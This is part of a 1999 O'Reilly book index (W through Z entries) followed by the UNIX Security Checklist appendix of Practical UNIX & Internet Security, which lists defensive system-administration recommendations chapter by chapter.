Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 5.4. Using Directory Permissions
(see permissions)
backups : Practical UNIX & Internet Security, 7.1.6.2. Write-protect your backups
filesystems : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
WRITE= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
writing
passwords (on paper) : Practical UNIX & Internet Security, 3.6.5. Writing Down Passwords
programmed threats : Practical UNIX & Internet Security, 11.3. Authors
wtmp file
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
TCP/IP Network Administration, 12.4.2.2. Checking login activity
wtmpx file : Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
wuarchive daemon
Building Internet Firewalls, B.5.1. wuarchive ftpd
Building Internet Firewalls, 8.2.1.4. Using the wuarchive
wuftpd server : Practical UNIX & Internet Security, 17.3.2.4. Setting up an FTP server
WWW : (see World Wide Web)
www user/group : Practical UNIX & Internet Security, 18.2.2. Understand Your Server's Directory Structure
www.fugue.com/dhcp : TCP/IP Network Administration, D.1. Compiling dhcpd
www.internic.net : TCP/IP Network Administration, 13.4. Retrieving RFCs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x flag
sendmail, 14.2.1. The Full-Name: Header
sendmail, 30.8. Alphabetized F= Flags
X flag : sendmail, 30.8. Alphabetized F= Flags
$x macro : sendmail, 31.10. Alphabetized Reference
$X macro : sendmail, 31.10. Alphabetized Reference
x option : (see QueueLA (x) option)
X option : (see RefuseLA (X) option)
-x switch (sendmail) : sendmail, 36.7. Alphabetized Reference
-X switch (sendmail)
sendmail, 26.4. Log Transactions with -X
sendmail, 36.7. Alphabetized Reference
X Window System
Practical UNIX & Internet Security, 12.3.4.4. X terminals
Practical UNIX & Internet Security, 17.3.21. The X Window System
Practical UNIX & Internet Security, 17.3.21.5. Denial of service attacks under X
mail queue listing : sendmail, 23.4. Printing the Queue
screen savers : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
"X-Authentication-Warning:" header line
sendmail, 14.6. Trusted User
sendmail, 22.8.1.1. Declare trusted users (not V8.1 through V8.6)
sendmail, 35.10. Alphabetized Reference
x-gw proxy : Building Internet Firewalls, 7.7.4. Other TIS FWTK
X-rated material : Practical UNIX & Internet Security, 26.4.5. Pornography and Indecent Material
x-token encoding type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
X.25 networks : TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
X.400 addresses
sendmail, 25.5.6. X.400 Addresses
sendmail, 31.10. Alphabetized Reference
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
X.500 directory service : Practical UNIX & Internet Security, 16.4.4. OSI
X/Open Consortium : Practical UNIX & Internet Security, 1.3. History of UNIX
X11 window system : Building Internet Firewalls, 2.13. Window Systems
configuring : Building Internet Firewalls, 8.16. X11 Window System
"X400-Received:" header line : sendmail, 35.10. Alphabetized Reference
xargs command
Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
Xauthority facility, magic cookies : Practical UNIX & Internet Security, 17.3.21.4. Using Xauthority magic cookies
XDEBUG macro : sendmail, 18.8. Alphabetized Reference
xdelay= equate (syslog output) : sendmail, 26.1.3.13. xdelay= transaction
xdm system : Practical UNIX & Internet Security, 17.3.21.4. Using Xauthority magic cookies
XDR (external data representation)
Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
TCP/IP Network Administration, 1.2. A Data Communications Model
Xerox Network Systems (XNS) : Practical UNIX & Internet Security, 16.4.5. XNS
xf file : sendmail, 23.2.7. The Transcript File: xf
xferlog file : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
xfrnets directive : Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
xhost command
Building Internet Firewalls, 8.16. X11 Window System
Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
xinetd software : TCP/IP Network Administration, 12.5. Access Control
XOR (exclusive OR) : Practical UNIX & Internet Security, 6.4.7. An Unbreakable Encryption Algorithm
XScreensaver program : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
XTACACS : (see TACACS)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

$y macro
sendmail, 18.8. Alphabetized Reference
sendmail, 31.10. Alphabetized Reference
$Y macro : sendmail, 31.10. Alphabetized Reference
y option : (see RecipientFactor (y) option)
Y option : (see ForkEachJob (Y) option)
Yellow Pages (YP)
Building Internet Firewalls, 2.9. Name Service
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
(see also NIS/YP)
yp.conf file : TCP/IP Network Administration, 9.3. Network Information Service
ypbind
Practical UNIX & Internet Security, 19.3.2.3. Making sure Secure RPC programs are running on every
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
TCP/IP Network Administration, 9.3. Network Information Service
ypcat
Practical UNIX & Internet Security, 19.3.2.3. Making sure Secure RPC programs are running on every
TCP/IP Network Administration, 9.3. Network Information Service
ypmatch : TCP/IP Network Administration, 9.3. Network Information Service
yppasswd command
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 8.2. Monitoring File Format
ypserv
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
TCP/IP Network Administration, 9.3. Network Information Service
ypset command : Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
ypwhich
sendmail, 33.3.4.12. -z specify the column delimiter (V8.7 and above)
TCP/IP Network Administration, 9.3. Network Information Service

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

Z line (qf file) : sendmail, 23.9. The qf File Internals
$z macro : sendmail, 31.10. Alphabetized Reference
$Z macro : sendmail, 31.10. Alphabetized Reference
z option : (see ClassFactor (z) option)
Z option : (see RetryFactor (Z) option)
Zheng, Yliang : Practical UNIX & Internet Security, 6.5.4.3. HAVAL
Zimmermann, Phil : Practical UNIX & Internet Security, 6.6.3. PGP: Pretty Good Privacy
Zmailer : sendmail, 18.1. To Use or Not to Use
zones
TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, C.3. Zone File Records
zone transfers
Building Internet Firewalls, 8.10.1. Packet Filtering Characteristics of
Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, 8.3.1.2. Primary and secondary server configurations
TCP/IP Network Administration, 8.4. Using nslookup

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


[Appendix A] UNIX Security Checklist

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: VII. Appendixes Appendix A Next: B. Important Files

A. UNIX Security Checklist

Contents:
Preface

This appendix summarizes the hints and recommendations made in this book. You can use this appendix as a reminder of things to examine and do, or you can use it as an index.

A.1 Preface

  • Reread your manuals and vendor documentation.

  • Mark your calendar for 6-12 months in the future to reread your manuals, again.

A.1.1 Chapter 1: Introduction

  • Order other appropriate references on security and computer crime. Schedule time to read them when they arrive.

  • Become familiar with your users' expectations and experience with UNIX.

  • Write a letter to your vendors indicating your interest and concern about (insufficient) software quality and security features.

  • Post a reminder above your computer or desk: "Security is not `Me versus the Users' but `All of Us versus Them.'"

A.1.1.1 Chapter 2: Policies and Guidelines

  • Assess your environment. What do you need to protect? What are you protecting against?

  • Understand priorities, budget, and resources available.

  • Perform a risk assessment and cost-benefit analysis.

  • Get management involved.

  • Set priorities for security and use.

  • Develop a positive security policy. Circulate it to all users.

  • Ensure that authority is matched with responsibility.

  • Ensure that everything to be protected has an "owner."

  • Work to educate your users on good security practice.

  • Don't have different, less secure rules for top-level management.

A.1.1.2 Chapter 3: Users and Passwords

  • Be sure that every person who uses your computer has his or her own account.

  • Be sure that every user's account has a password.

  • After you change your password, $don't forget it!

  • After you change your password, test it with the su command, by trying to log in on another terminal, or by using the telnet localhost command.

  • Pick strong, nonobvious passwords.

  • Consider automatic generation or screening of passwords.

  • Pick passwords that are not so difficult to remember that you have to write them down.

  • If you must write down your password, don't make it obvious that what you have written is, in fact, a password. Do not write your account name or the name of the computer on the same piece of paper. Do not attach your password to your terminal, keyboard, or any part of your computer.

  • Never record passwords online or send them to another user via electronic mail.

  • Don't use your password as the password to another application such as a Multi-User Dungeon (MUD) game.

  • Don't use your password on other computer systems under different administrative control.

  • Consider use of one-time passwords, tokens, or smart cards.

  • Ensure that all users know about good password management practices.

A.1.1.3 Chapter 4: Users, Groups, and the Superuser

  • Ensure that no two regular users are assigned or share the same account.

  • Never give any users, other than UUCP users, the same UID.

  • Think about how you can assign group IDs to promote appropriate sharing and protection without sharing accounts.

  • Avoid use of the root account for routine activities that can be done under a plain user ID.

  • Think of how to protect especially sensitive files in the event that the root account is compromised. This protection includes use of removable media and encryption.

  • Restrict access to the su command, or restrict the ability to su to user root.

  • su to the user's ID when investigating problem reports rather than exploring as user root.

  • Scan the files /var/adm/messages, /var/adm/sulog, or other appropriate log files on a regular basis for bad su attempts.

A.1.1.4 Chapter 5: The UNIX Filesystem

  • Learn about the useful options to your version of the ls command.

  • If your system has ACLS, learn how to use them. Remember, do not depend on ACLS to protect files on NFS partitions.

  • Set your umask to an appropriate value (e.g., 027 or 077).

  • Never write SUID/SGID shell scripts.

  • Periodically scan your system for SUID/SGID files.

  • Disable SUID on disk partition mounts (local and remote) unless necessary.

  • Determine if write, chmod, chown, and chgrp operations on files clear the SUID/SGID bits on your system. Get in the habit of checking files based on this information.

  • Scan for device files on your system. Check their ownership and permissions to ensure that they are reasonable.

  • If your system has "universes" or Context Dependent Files (CDFS), be sure that all your administrative actions actually scan all the files and directories on your system.

A.1.1.5 Chapter 6: Cryptography

  • Learn about the restrictions your government places on the use, export, and sale of cryptography. Consider contacting your legislators with your opinions on these laws, especially if they negatively impact your ability to protect your systems.

  • Never use rot13 as an encryption method to protect data.

  • Don't depend on the crypt command to protect anything particularly sensitive, especially if it is more than 1024 bytes in length.

  • If you use the Data Encryption Standard (DES) algorithm for encryption, consider superencrypting with Triple-DES.

  • Use the compress command (or similar compression system) on files before encrypting them.

  • Learn how to use message digests. Obtain and install a message digest program (such as MD5).

  • Never use a login password as an encryption key. Choose encryption keys as you would a password, however - avoid obvious or easily guessed words or patterns.

  • Protect your encryption key as you would your password - don't write it down, put it in a shell file, or store it online.

  • Protect your encryption programs against tampering.

  • Avoid proprietary encryption methods whose strengths are not known.

  • Consider obtaining a copy of the PGP software and making it available to your users. Use PGP to encrypt files and sensitive email, and to create and check digital signatures on important files.

A.1.1.6 Chapter 7: Backups

  • Make regular backups.

  • Be certain that everything on your system is on your backups.

  • Remember to update your backup regimen whenever you update your system or change its configuration.

  • Make paper copies of critical files for comparison or rebuilding your system (e.g., /etc/passwd, /etc/rc, and /etc/fstab).

  • Make at least every other backup onto a different tape to guard against media failure.

  • Do not reuse a backup tape too many times, because the tapes will eventually fail.

  • Try to restore a few files from your backup tapes on a regular basis.

  • Make periodic archive backups of your entire system and keep them forever.

  • Try to completely rebuild your system from a set of backup tapes to be certain that your backup procedures are complete.

  • Keep your backups under lock and key.

  • Do not store your backups in the same room as your computer system: consider off-site backup storage.

  • Ensure that access to your backup tapes during transport and storage is limited to authorized and trusted individuals.

  • If your budget and needs are appropriate, investigate doing backups across a network link to a "hot spare" site.

  • Encrypt your backups, but escrow the keys in case you lose them.

  • When using software that accesses files directly rather than through the raw devices, consider remounting the filesystems as read-only during backups to prevent changes to file access times.

  • Make periodic paper copies of important files.

A.1.1.7 Chapter 8: Defending Your Accounts

  • Make sure that every account has a password.

  • Make sure to change the password of every "default" account that came with your UNIX. system. If possible, disable accounts like uucp and daemon so that people cannot use them to log into your system.

  • Do not set up accounts that run single commands.

  • Instead of logging into the root account, log in to your own account and use su.

  • Do not create "default" or "guest" accounts for visitors.

  • If you need to set up an account that can run only a few commands, use the rsh restricted shell.

  • Think about creating restricted filesystem accounts for special-purpose commands or users.

  • Do not set up a single account that is shared by a group of people. Use the group ID mechanism instead.

  • Monitor the format and contents of the /etc/passwd file.

  • Put time/tty restrictions on login to accounts as appropriate.

  • Disable dormant accounts on your computer.

  • Disable the accounts of people on extended vacations.

  • Establish a system by which accounts are always created with a fixed expiration date and must be renewed to be kept active.

  • Do not declare network connections, modems, or public terminals as "secure" in the /etc/default/login or /etc/ttys files.

  • Be careful who you put in the wheel group, as these people can use the su command to become the superuser (if applicable).

  • If possible, set your systems to require the root password when rebooting in single-user mode.

  • If your system supports the TCB/trusted path mechanism, enable it.

  • If your system allows the use of a longer password than the standard crypt() uses, enable it. Tell your users to use longer passwords.

  • Consider using some form of one-time password or token-based authentication, especially on accounts that may be used across a network link.

  • Consider using the Distributed Computing Environment (DCE) or Kerberos for any local network of single-user workstations, if your vendor software allows it.

  • Enable password constraints, if present in your software, to help prevent users from picking bad passwords. Otherwise, consider adding password screening or coaching software to assist your users in picking good passwords.

  • Consider cracking your own passwords periodically, but don't place much faith in results that show no passwords cracked.

  • If you have shadow password capability, enable it. If your software does not support a shadow password file, contact the vendor and request that such support be added.

  • If your system does not have a shadow password file, make sure that the file /etc/passwd cannot be read anonymously over the network via UUCP or TFTP.

  • If your computer supports password aging, set a lifetime between one and six months.

  • If you have source code for your operating system, you may wish to slightly alter the algorithm used by crypt() to encrypt your password. For example, you can increase the number of encryption rounds from 25 to 200.

  • If you are using a central mail server or firewall, consider the benefits of account-name aliasing.

A.1.1.8 Chapter 9: Integrity Management

  • If your system supports immutable files, use them. If you don't have them, consider asking your vendor when they will be supported in your version of UNIX.

  • If possible, mount disks read-only if they contain system software.

  • Make a checklist listing the size, modification time, and permissions of every program on your system. You may wish to include cryptographic checksums in the lists. Keep copies of this checklist on removable media and use them to determine if any of your system files or programs have been modified.

  • Write a daily check script to check for unauthorized changes to files and system directories.

  • Double check the protection attributes on system command and data files, on their directories, and on all ancestor directories.

  • If you export filesystems containing system programs, you may wish to export these filesystems read-only, so that they cannot be modified by NFS clients.

  • Consider making all files on NFS-exported disks owned by user root.

  • If you have backups of critical directories, you can use comparison checking to detect unauthorized modifications. Be careful to protect your backup copies and comparison programs from potential attackers.

  • Consider running rdist from a protected system on a regular basis to report changes.

  • Make an offline list of every SUID and SGID file on your system.

  • Consider installing something to check message digests of files (e.g., Tripwire). Be certain that the program and all its data files are stored on read-only media or protected with encryption (or both).

A.1.1.9 Chapter 10: Auditing and Logging

  • Consider installing a dedicated PC or other non-UNIX machine as a network log host.

  • Have your users check the last login time each time they log in to make sure that nobody else is using their accounts.

  • Consider installing a simple cron task to save copies of the lastlog file to track logins.

  • Evaluate whether C2 logging on your system is practical and appropriate. If so, install it.

  • Determine if there is an intrusion-detection and/or audit-reduction tool available to use with your C2 logs.

  • Make sure that your utmp file is not world writable.

  • Turn on whatever accounting mechanism you may have that logs command usage.

  • Run last periodically to see who has been using the system. Use this program on a regular basis.

  • Review your specialized log files on a regular basis. This review should include (if they exist on your system) loginlog, sulog, aculog, xferlog, and others.

  • Consider adding an automatic log monitor such as Swatch.

  • Make sure that your log files are on your daily backups before they get reset.

  • If you have syslog, configure it so that all auth messages are logged to a special file. If you can, also have these messages logged to a special hardcopy printer and to another computer on your network.

  • Be aware that log file entries may be forged and misleading in the event of a carefully crafted attack.

  • Keep a paper log on a per-site and per-machine basis.

  • If you process your logs in an automated fashion, craft your filters so that they exclude the things you don't want rather than pass only what you do want. This approach will ensure that you see all exceptional condition messages.

A.1.1.10 Chapter 11: Protecting Against Programmed Threats

  • Be extremely careful about installing new software. Never install binaries obtained from untrustworthy sources (like the Usenet).

  • When installing new software, install it first on a noncritical system on which you can test it and observe any misbehavior or bugs.

  • Run integrity checks on your system on a regular basis (see Chapter 9).

  • Don't include nonstandard directories in your execution path.

  • Don't leave any bin or library directories writable by untrustworthy accounts.

  • Set permissions on commands to prevent unauthorized alteration.

  • Scan your system for any user home directories or dot files that are world writable or group writable.

  • If you suspect a network-based worm attack or a virus in widely circulated software, call a FIRST response team or the vendor to confirm the instance before spreading any alarm.

  • Never write or use SUID or SGID shell scripts unless you are a hoary UNIX wizard.

  • Disable terminal answer-back, if possible.

  • Never have "." (the current directory) in your search path. Never have writable directories in your search path.

  • When running as the superuser, get in the habit of typing full pathnames for commands.

  • Check the behavior of your xargs and find commands. Review the use of these commands (and the shell) in all scripts executed by cron.

  • Watch for unauthorized modification to initialization files in any user or system account, including editor start-up files, .forward files, etc.

  • Periodically review all system start-up and configuration files for additions and changes.

  • Periodically review mailer alias files for unauthorized changes.

  • Periodically review configuration files for server programs (e.g., inetd.conf).

  • Check the security of your at program, and disable the program if necessary.

  • Verify that any files run from the cron command files cannot be altered or replaced by unauthorized users.

  • Don't use the vi or ex editors in a directory without first checking for a Trojan .exrc file. Disable the automatic command execution feature in GNU Emacs.

  • Make sure that the devices used for backups are not world readable.

  • Make sure that any shared libraries are properly protected and that protections cannot be overridden.

A.1.1.11 Chapter 12: Physical Security

  • Develop a physical security plan that includes a description of your assets, environment, threats, perimeter, and defenses.

  • Determine who might have physical access to any of your resources under any circumstances.

  • Have heat and smoke alarms in your computer room. If you have a raised floor, install alarm sensors both above and below the floor. If you have a dropped ceiling, put sensors above the ceiling, too.

  • Check the placement and recharge status of fire extinguishers on a regular basis.

  • Make sure that personnel know how to use all fire protection and suppression equipment.

  • Make sure that the placement and nature of fire-suppression systems will not endanger personnel or equipment more than is necessary.

  • Have water sensors installed above and below raised floors in your computer room.

  • Train your users and operators about what to do when an alarm sounds.

  • Strictly prohibit smoking, eating, and drinking in your computer room or near computer equipment.

  • Install and regularly clean air filters in your computer room.

  • Place your computer systems where they will be protected in the event of earthquake, explosion, or structural failure.

  • Keep your backups offsite.

  • Have temperature and humidity controls in your computer room. Have alarms associated with the systems to indicate if values get out of range. Have recorders to monitor these values over time.

  • Beware of insects trying to "bug" your computers.

  • Install filtered power and/or surge protectors for all your computer equipment. Consider installing an uninterruptible power supply, if appropriate.

  • Have antistatic measures in place.

  • Store computer equipment and magnetic media away from building structural steel members that might conduct electricity after a lightning strike.

  • Lock and physically isolate your computers from public access.

  • Consider putting motion alarms or other protections in place to protect valuable equipment when personnel are not present.

  • Protect power switches and fuses.

  • Avoid having glass walls or large windows in your computer room.

  • Protect all your network cables, terminators, and connectors from tampering. Examine them periodically.

  • Use locks, tie-downs, and bolts to keep computer equipment from being carried away.

  • Encrypt sensitive data held on your systems.

  • Have disaster-recovery and business-continuation plans in place.

  • Consider using fiber optic cable for networks.

  • Physically protect your backups and test them periodically.

  • Sanitize media (e.g., tapes and disks) and printouts before disposal. Use bulk erasers, shredders, or incinerators.

  • Check peripheral devices for local onboard storage that can lead to disclosure of information.

  • Consider encrypting all of your backups and offline storage.

  • Never use programmable function keys on a terminal for login or password information.

  • Consider setting autologout on user accounts.

A.1.1.12 Chapter 13: Personnel Security

  • Conduct background checks of individuals being considered for sensitive positions. Do so with the permission of the applicants.

  • If the position is extremely sensitive, and if it is legally allowable, consider using a polygraph examination of the candidate.

  • Have applicants and contractors in sensitive positions obtain bonding.

  • Provide comprehensive and appropriate training for all new personnel, and for personnel taking on new assignments.

  • Provide refresher training on a regular basis.

  • Make sure that staff have adequate time and resources to pursue continuing education opportunities.

  • Institute an ongoing user security-awareness program.

  • Have regular performance reviews and monitoring. Try to resolve potential problems before they become real problems.

  • Make sure that users in sensitive positions are not overloaded with work, responsibility or stress on a frequent or regular basis, even if compensated for the overload. In particular, users should be required to take holiday and vacation leave regularly.

  • Monitor users in sensitive positions (without intruding on their privacy) for signs of excess stress or personal problems.

  • Audit access to equipment and critical data.

  • Apply policies of least privilege and separation of duties where applicable.

  • When any user leaves the organization, make sure that access is properly terminated and duties transferred.

  • Make sure that no user becomes irreplaceable.

A.1.1.13 Chapter 14: Telephone Security

  • Make sure that incoming modems automatically log out the user if the telephone call gets interrupted.

  • Make sure that incoming modems automatically hang up on an incoming call if the caller logs out or if the caller's login process gets killed.

  • Make sure that outgoing modems hang up on the outgoing call if the tip or cu program is exited.

  • Make sure that the tip or cu programs automatically exit if the user gets logged out of the remote machine or if the telephone call is interrupted.

  • Make sure that there is no way for the local user to reprogram the modem.

  • Do not install call forwarding on any of your incoming lines.

  • Consider getting CALLER*ID/ANI to trace incoming calls automatically. Log the numbers that call your system.

  • Physically protect the modems and phone lines.

  • Disable third-party billing to your modem lines.

  • Consider getting leased lines and/or callback modems.

  • Consider using separate callout telephone lines with no dial-in capability for callback schemes.

  • Check permissions on all associated devices and configuration files.

  • Consider use of encrypting modems with fixed keys to guard against unauthorized use or eavesdropping.

A.1.1.14 Chapter 15: UUCP

  • Be sure that every UUCP login has a unique password.

  • Set up a different UUCP login for every computer you communicate with via UUCP.

  • Make sure that /usr/lib/uucp/L.sys or /usr/lib/uucp/Systems is mode 400, readable only by the UUCP user.

  • Do not export UUCP files or commands on a writable NFS partition.

  • Make sure that the files in the /usr/lib/uucp directories can't be read or written remotely or locally with the UUCP system.

  • Make sure that no UUCP login has /usr/spool/uucp/uucppublic for its home directory.

  • Limit UUCP access to the smallest set of directories necessary.

  • If there are daily, weekly, or monthly administrative scripts run by cron to clean up the UUCP system, make sure that they are run with the UUCP UID but that they are owned by root.

  • Make sure that the ruusend command is not in your L.cmds file (Version 2 UUCP.

  • Only allow execution of commands by UUCP that are absolutely necessary.

  • Consider making some or all of your UUCP connections use callback to initiate a connection.

  • Make sure that mail to the UUCP users gets sent to the system administrator.

  • Test your mailer to make sure that it will not deliver a file or execute a command that is encapsulated in an address.

  • Disable UUCP over IP unless you need UUCP.

  • If the machine has an active FTP service, ensure that all UUCP users are listed in the /etc/ftpusers file.

  • Be sure that the UUCP control files are protected and cannot be read or modified using the UUCP program.

  • Only give UUCP access to the directories to which it needs access. You may wish to limit UUCP to the directory /usr/spool/uucppublic.

  • Limit the commands which can be executed from offsite to those that are absolutely necessary.

  • Disable or delete any uucpd daemon if you aren't using it.

  • Remove all of the UUCP software and libraries if you aren't going to use them.

A.1.1.15 Chapter 16: TCP/IP Networks

  • Consider low-level encryption mechanisms in enterprise networks, or to "tunnel" through external networks.

  • Do not depend on IP addresses or DNS information for authentication.

  • Do not depend on header information in news articles or email as they can be forged.

A.1.1.16 Chapter 17: TCP/IP Services

  • Routinely examine your inetd configuration file.

  • If your standard software does not offer this level of control, consider installing the tcpwrapper program to better regulate and log access to your servers. Then, contact your vendor and ask when equivalent functionality will be provided as a standard feature in the vendors' systems.

  • Disable any unneeded network services.

  • Consider disabling any services that provide nonessential information to outsiders that might enable them to gather information about your systems.

  • Make sure that your version of the ftpd program is up to date.

  • If you support anonymous FTP, don't have a copy of your real /etc/passwd as an ~ftp/etc/passwd.

  • Make sure that /etc/ftpusers contains at least the account names root, uucp, and bin. The file should also contain the name of any other account that does not belonged to an actual human being.

  • Frequently scan the files in, and usage of, your ftp account.

  • Make sure that all directory permissions and ownership on your ftp account are set correctly.

  • If your software allows, configure any "incoming" directories so that files dropped off cannot then be uploaded without operator intervention.

  • Make sure that your sendmail program will not deliver mail directly to a file.

  • Make sure that your sendmail program does not have a wizard's password set in the configuration file.

  • Limit the number of "trusted users" in your sendmail.cf file.

  • Make sure that your version of the sendmail program does not support the debug, wiz, or kill commands.

  • Delete the "decode" alias in your aliases file. Examine carefully any other alias that delivers to a program or file.

  • Make sure that your version of the sendmail program is up to date, with all published patches in place.

  • Make sure that the aliases file cannot be altered by unauthorized individuals.

  • Consider replacing sendmail with smap, or another more tractable network agent.

  • Have an alias for every non-user account so that mail to any valid address gets delivered to a person and not to an unmonitored mailbox.

  • Consider disabling SMTP commands such as VRFY and EXPN with settings in your sendmail configuration.

  • Disable zone transfers in your DNS, if possible.

  • Make sure that you are running the latest version of the nameserver software (e.g., bind) with all patches applied.

  • Make sure that all files used by the nameserver software are properly protected against tampering, and perhaps against reading by unauthorized users.

  • Use IP addresses instead of domain names in places where the practice makes sense (e.g., in .rhosts files). (But beware that most implementations of trusted commands don't understand IP addresses in .rhosts, and that, in such cases, doing this might introduce a vulnerability.)

  • Make sure that TFTP access, if enabled, is limited to a single directory containing boot files.

  • Tell your users about the information that the finger program makes available on the network.

  • Make sure that your finger program is more recent than November 5, 1988.

  • Disable or replace the finger service with something that provides less information.

  • If you are using POP or IMAP, configure your system to use APOP or Kerberos for authentication.

  • Consider running the authd daemon for all machines in the local net.

  • Configure your NNTP or INND server to restrict who can post articles or transfer Usenet news. Make sure that you have the most recent version of the software.

  • Block NTP connections from outside your organization.

  • Block SNMP connections from outside your organization.

  • Disable rexec service unless needed.

  • Routinely scan your system for suspicious .rhosts files. Make sure that all existing .rhosts files are protected to mode 600.

  • Consider not allowing users to have .rhosts files on your system.

  • If you have a plus sign (+) in your /etc/hosts.equiv file, remove it.

  • Do not place usernames in your /etc/hosts.equiv file.

  • Restrict access to your printing software via the /etc/hosts.lpd file.

  • Make your list of trusted hosts as small as possible.

  • Block incoming RIP packets; use static routes where possible and practical.

  • Disable UUCP over IP unless needed.

  • Set up your logindevperm or fbtab files to restrict permissions on frame buffers and devices, if this is possible on your system.

  • If your X11 Server blocks on null connections, get an updated version.

  • Enable the best X11 authentication possible in your configuration (e.g., Kerberos, Secure RPC, "magic cookies") instead of using xhost.

  • Disable the rexd RPC service.

  • Be very cautious about installing MUDS, IRCS, or other servers.

  • Scan your network connections regularly with netstat.

  • Scan your network with tools such as SATAN and ISS to determine if you have uncorrected vulnerabilities - before an attacker does the same.

  • Re-evaluate why you are connected to the network at all, and disconnect machines that do not really need to be connected.

A.1.1.17 Chapter 18: WWW Security

  • Consider running any WWW server from a Macintosh platform instead of from a UNIX platform.

  • Do not run your server as user root. Have it set to run as a nobody user unique to the WWW service.

  • Become familiar with all the configuration options for the particular server you use, and set its options appropriately (and conservatively).

  • Disable automatic directory listings.

  • Set the server to not follow symbolic links, or to only follow links that are owned by the same user that owns the destination of the link.

  • Limit or prohibit server-side includes.

  • Be extremely cautions about writing and installing CGI scripts or programs. (See the specific programming recommendations in the chapter.) Consider using taintperl as the implementation language.

  • Configure your server to only allow CGI scripts from a particular directory under your control.

  • Do not mix WWW and FTP servers on the same machine in the same filesystem hierarchy.

  • Consider making your WWW server chroot into a protected directory.

  • Monitor the logs and usage of your WWW service.

  • If you are transferring sensitive information over the WWW connection (e.g., personal information), enable encryption.

  • Prevent general access to the server log files.

  • Be aware of the potential risks posed by dependence on a limited number of third-party providers.

A.1.1.18 Chapter 19: RPC, NIS, NIS+, and Kerberos

  • Enable Kerberos or Secure RPC if possible.

  • Use NIS+ in preference to NIS, if possible.

  • Use netgroups to restrict access to services, including login.

  • Put keylogout in your logout file if you are running secure RPC.

  • Make sure that your version of ypbind only listens on privileged ports.

  • Make sure that your version of portmapper does not do proxy forwarding.

  • If your version of portmapper has a "securenets" feature, configure the program so that it restricts which machines can send requests to your portmapper. If this feature is not present, contact your vendor and ask when it will be supported.

  • Make sure that there is an asterisk (*) in the password field of any line beginning with a plus sign (+) in both the passwd and group files of any NIS client.

  • Make sure that there is no line beginning with a plus sign (+) in the passwd or group files on any NIS server.

  • If you are using Kerberos, understand its limitations.

A.1.1.19 Chapter 20: NFS

  • Program your firewall and routers to block NFS packets.

  • Use NFS version 3, if available, in TCP mode.

  • Use the netgroups mechanism to restrict the export of (and thus the ability to remotely mount) filesystems to a small set of local machines.

  • Mount partitions nosuid unless SUID access is absolutely necessary.

  • Mount partitions nodev, if available.

  • Set root ownership on files and directories mounted remotely.

  • Never export a mounted partition on your system to an untrusted machine if the partition has any world- or group-writable directories.

  • Set the kernel portmon variable to ignore NFS requests from unprivileged ports.

  • Export filesystems to a small set of hosts, using the access= or ro= options.

  • Do not export user home directories in a writable mode.

  • Do not export filesystems to yourself!

  • Do not use the root= option when exporting filesystems unless absolutely necessary.

  • Use fsirand on all partitions that are exported. Rerun the program periodically.

  • When possible, use the secure option for NFS mounts.

  • Monitor who is mounting your NFS partitions (but realize that you may not have a complete picture because of the stateless nature of NFS).

  • Reconsider why you want to use NFS, and think about doing without. For instance, replicating disk on local machines may be a safer approach.

A.1.1.20 Chapter 21: Firewalls

  • Keep in mind that firewalls should be used in addition to other security measure and not in place of them.

  • Consider setting a policy of default deny for your firewall.

  • Consider internal firewalls as well as external firewalls.

  • Use the most complete firewall you can afford and one that makes sense in your environment. At the very least, put a screening router in place.

  • Consider buying a commercially provided and configured firewall, rather than creating your own.

  • Plan on centralizing services such as DNS, email, and Usenet on closely guarded bastion hosts.

  • Break your network up into small, independent subnets. Each subnet should have its own NIS server and netgroups domain.

  • Don't configure any machine to trust machines outside the local subnet.

